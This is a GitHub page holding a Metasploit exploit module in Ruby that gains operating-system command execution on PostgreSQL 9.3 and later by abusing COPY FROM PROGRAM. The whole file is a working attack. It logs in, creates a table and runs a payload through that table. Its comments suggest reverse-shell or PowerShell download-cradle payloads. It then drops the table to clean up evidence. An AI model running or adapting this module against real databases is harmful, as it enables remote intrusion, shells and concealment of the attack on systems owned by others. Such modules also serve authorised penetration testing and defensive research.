-
Notifications
You must be signed in to change notification settings - Fork 11
/
postgres_cmd_execution_nine_three.rb
250 lines (224 loc) · 7.96 KB
/
postgres_cmd_execution_nine_three.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/postgres'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Postgres
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL >9.3 Command Execution',
'Description' => %q(
Installations running Postgres 9.3 and above have functionality which allows for the superuser
and users with 'pg_read_server_files' to pipe to and from an external program using COPY.
This allows arbitary command execution as though you have console access.
This module attempts to create a new table, then execute system commands in the context of
copying the command output into the table.
This module should work on all Postgres systems running version 9.3 and above.
For Linux & OSX systems, cmd stagers are used such as: cmd/unix/reverse_perl
For Windows Systems command is placed in the COMMAND parameter, such as a powershell
download cradle for meterpreter
),
'Author' => [
'Jacob Wilkin', # author of this module
'Micheal Cottingham', # the postgres_createlang module that this is based on
],
'License' => MSF_LICENSE,
'References' => [
['URL', '<Blogpost on the subject>'],
['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] #Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \copy data to/from an external program (Etsuro Fujita)'
],
'PayloadType' => %w(cmd)
'Platform' => %w(linux unix win osx),
'Payload' => {
},
'Arch' => [ARCH_CMD],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 24 2019'
))
register_options([
Opt::RPORT(5432),
OptString.new('TABLENAME', [ true, 'A table name that doesnt exist(To avoid deletion)', 'msftesttable']),
OptString.new('COMMAND', [ false, 'Send a custom command instead of a payload, use with powershell web delivery against windows', ''])
])
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
# Return the datastore value of the same name
# @return [String] tablename for table to use with command execution
def tablename; datastore['TABLENAME']; end
# Return the datastore value of the same name
# @return [String] command to run a custom command on the target
def command; datastore['COMMAND']; end
def postgres_version(version)
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
print_status(version_match['major_version'])
print_status(version_match['minor_version'])
return version_match['major_version'],version_match['minor_version']
end
def postgres_minor_version(version)
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
version_match['minor_version']
end
def check
if vuln_version?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def vuln_version?
version = postgres_fingerprint
if version[:auth]
version_full = postgres_version(version[:auth])
major_version = version_full[0]
minor_version = version_full[1]
print_status(major_version)
print_status(minor_version)
if major_version && major_version.to_i > 9 # If major above 9, return true
return true
end
if major_version && major_version.to_i == 9 # If major version equals 9, check for minor 3
if minor_version && minor_version.to_i >= 3 # If major 9 and minor 3 or above return true
return true
end
end
end
false
end
def login_success?
status = do_login(username, password, database)
case status
when :noauth
print_error "#{peer} - Authentication failed"
return false
when :noconn
print_error "#{peer} - Connection failed"
return false
else
print_status "#{peer} - #{status}"
return true
end
end
def execute_payload()
# Drop table if it exists
query = "DROP TABLE IF EXISTS #{tablename};"
drop_query = postgres_query(query)
case drop_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} dropped successfully"
else
print_error "#{peer} - Unknown"
return false
end
# Create Table
query = "CREATE TABLE #{tablename}(filename text);"
create_query = postgres_query(query)
case create_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} created successfully"
else
print_error "#{peer} - Unknown"
return false
end
# Copy Command into Table
if command != '' # Use command if its not empty, example powershell web_delivery download cradle. Needed for windows because NETWORK SERVICE doesnt have write to disk privs, need to execute in memory
cmd_filtered = command.gsub("'", "''")
else #Otherwise use the set payload, linux suggested is to use cmd/unix/reverse_perl
cmd_filtered = payload.encoded.gsub("'", "''")
end
query = "COPY #{tablename} FROM PROGRAM '#{cmd_filtered}';"
copy_query = postgres_query(query)
case copy_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)"
else
print_error "#{peer} - Unknown"
return false
end
# Select output from table for debugging
#query = "SELECT * FROM #{tablename};"
#select_query = postgres_query(query)
#case select_query.keys[0]
#when :conn_error
# print_error "#{peer} - Connection error"
# return false
#when :sql_error
# print_warning "#{peer} - Unable to execute query: #{query}"
# return false
#when :complete
# print_good "#{peer} - #{tablename} contents:\n#{select_query}"
# return true
#else
# print_error "#{peer} - Unknown"
# return false
#end
# Clean up table evidence
query = "DROP TABLE IF EXISTS #{tablename};"
drop_query = postgres_query(query)
case drop_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} dropped successfully(Cleaned)"
else
print_error "#{peer} - Unknown"
return false
end
end
def do_login(user, pass, database)
begin
password = pass || postgres_password
result = postgres_fingerprint(
db: database,
username: user,
password: password
)
return result[:auth] if result[:auth]
print_error "#{peer} - Login failed"
return :noauth
rescue Rex::ConnectionError
return :noconn
end
end
def exploit
print_status("Exploiting...")
#vuln_version doesn't seem to work
#return unless vuln_version?
return unless login_success?
successful_exploit = execute_payload
if successful_exploit == false
print_status("Exploit Failed")
else
print_status("Exploit Succeeded")
end
postgres_logout if @postgres_conn
end
end